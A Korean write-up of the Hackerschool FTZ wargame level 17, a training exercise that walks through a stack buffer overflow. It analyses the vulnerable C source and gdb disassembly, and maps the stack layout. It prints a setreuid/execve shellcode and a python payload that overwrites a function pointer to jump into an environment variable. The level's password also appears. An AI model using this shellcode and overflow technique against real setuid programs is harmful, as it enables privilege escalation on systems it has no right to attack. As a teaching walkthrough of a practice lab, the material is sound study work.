BOF/ ftz-level17

 

FTZ란 Free Training Zone의 약자로 hackerschool에서 배포하는 워게임입니다.
총 20문제로 구성되어 있으며 각 문제를 격파하여 다음 레벨의 패스워드를 얻는 형식입니다.
문제를 격파하고 다음 레벨의 bash를 획득하였다면 my-pass로 패스워드를 확인할 수 있습니다.

사용 linux 명령어
ls - 파일 내역 출력 cat - 파일 내용 확인
gcc - gcc컴파일러로 컴파일하도록 하는 명령 vim - text editor
cp - 파일 또는 디렉터리 복사 명령
export - 환경변수 등록 명령
getenv - 환경변수를 모두 보는 명령
gdb - 디버깅 도구

send me email if you have any questions.


FTZ Level 17

ID : level17
PASSWD : king poetic


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  
#include <stdio.h>

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}


level11부터는 attackme라는 파일이 존재하며 hint는 attackme의 소스가 제공된다.

소스분석
15번과 비슷하지만 shell을 실행시켜주는 함수가 없다.
따라서 void포인터 call에 쉘코드가 저장된 환경변수의 주소를 변조하도록 공격한다.


level11부터는 쉘코드를 사용하여 공격을 한다.
what is shellcode? - 주로 기계어 코드로 이루어진 소프트웨어 취약점을 공격하기 위한 코드.

level17에서 사용한 쉘코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이 쉘코드는 /bin/bash를 실행시키도록 하는 코드이다.

ftz에는 ASLR(메모리 보호기법)이 걸려있다.

ASLR은 프로그램을 실행할 때 마다 메모리 주소가 변경되는 메모리 보호기법


그림1
권한문제가 없도록 tmp디렉터리에 attackme를 복사하고 attackme의 메모리 구조를 파악하기 위해 gdb를 사용하여 intel방식으로 디스어셈블 한다.

어셈블리 분석
main+3 line을 보면 esp에 56Byte의 공간을 할당하는것을 알 수 있다.
main+24,27 line을 보면 fgets함수에 buf를 인자로 전달하기 위한 연산을 수행하고 있음을 알 수 있다.
따라서 buf의 주소는 ebp-56.
main+57 line을 보면 eax를 call하기 위해 ebp-16을 eax에 대입하고 있다.
소스를 보면 eax는 void포인터 call임을 알 수 있다. 따라서 ebp-16은 void포인터 call.
buf와 call사이의 거리는 56-16 = 40Byte buf의 크기가 20Byte이므로 dummy값이 20Byte가 있다.

참고
esp는 스택의 최상단을 가리키는 포인터로 push, pop연산에 따라 4Byte씩 값이 변한다.
sfp(Saved Frame Pointer)는 이전 함수의 EBP주소를 저장하고 있는 공간이다.

메모리구조
buffer(20Byte)
dummy(20Byte)
call(4Byte)
crap(4Byte)
dummy(8Byte)
sfp(4Byte)
ret(4Byte)


그림2
쉘코드를 담은 환경변수를 만들어준다.


그림3
기존의 환경변수 주소 얻는 코드이다. 하지만 이 소스는 정확한 주소를 얻을 수 없는 경우가 있는데 아래 그림을 보자.


그림4
위와 같이 환경변수 주소를 얻는 소스를 실행시켜보지만 소스를 실행시키는 위치에 따라 다른 주소가 출력되는것을 볼 수 있다.

환경변수의 주소는 bf로 시작한다. 즉, 프로그램이 실행되면 환경변수의 데이터들이 스택 어딘가에 들어간다.
따라서 프로그램 이름의 길이나 명령어의 길이등에 따라 환경변수의 주소가 바뀐다.


그림5
위의 소스는 프로그램명과 타깃 바이너리의 절대경로 등을 계산하여 정확한 주소값을 출력하는 소스이다.


그림6
전에 사용하던 소스와 달리 프로그램을 실행하는 경로에 따라 출력되는 주소가 다른 경우는 발생하지 않는다.
첫 번째 인자로는 환경변수의 이름, 두 번째 인자로는 타겟 바이너리 파일의 절대경로를 전달한다.


그림7
위에서 얻은 환경변수의 정확한 주소로 페이로드를 작성하여 공격한다.
void포인터 call이 포인팅하는 주소를 쉘코드가 담긴 환경변수의 주소를 포인팅하도록 한다.


페이로드

(python -c “print ‘A’*40 + ‘\xfd\xfb\xff\xbf’“;cat) | /home/level17/attackme